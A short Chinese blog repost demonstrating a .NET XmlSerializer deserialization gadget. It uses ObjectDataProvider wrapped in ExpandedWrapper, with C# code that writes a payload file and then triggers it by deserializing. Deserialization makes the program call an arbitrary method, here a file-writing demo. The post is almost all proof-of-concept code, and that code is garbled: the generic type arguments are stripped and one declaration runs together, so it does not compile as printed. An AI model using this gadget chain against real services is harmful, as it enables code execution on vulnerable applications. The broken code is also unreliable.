本文共 1338 字,大约阅读时间需要 4 分钟。
条件:
两个关键类:ObjectDataProvider, ExpandedWrapper
//PresentationFramework.dll v4.0.0.0System.Windows.Data.ObjectDataProvider//System.Data.Services.dll v4.0.0.0System.Data.Services.Internal.ExpandedWrapper
Payload生成:
public static void serializeObjectWithXmlSer() { ExpandedWrappereobj = new ExpandedWrapper (); XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper )); eobj.ProjectedProperty0 = new ObjectDataProvider(); eobj.ProjectedProperty0.ObjectInstance = new Class2(); eobj.ProjectedProperty0.MethodName = "writeFile"; eobj.ProjectedProperty0.MethodParameters.Add("xxxxx"); eobj.ProjectedProperty0.MethodParameters.Add("ser.txt"); TextWriter fo = new StreamWriter("d:/tmp/xmlser.txt"); serializer.Serialize(fo, eobj); fo.Close(); }
触发Payload:
public static void deserializeObjectWithXmlSer() { XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper)); TextReader fi = new StreamReader("d:/tmp/xmlser.txt"); ser.Deserialize(fi); fi.Close(); }
转载于:https://blog.51cto.com/duallay/2045651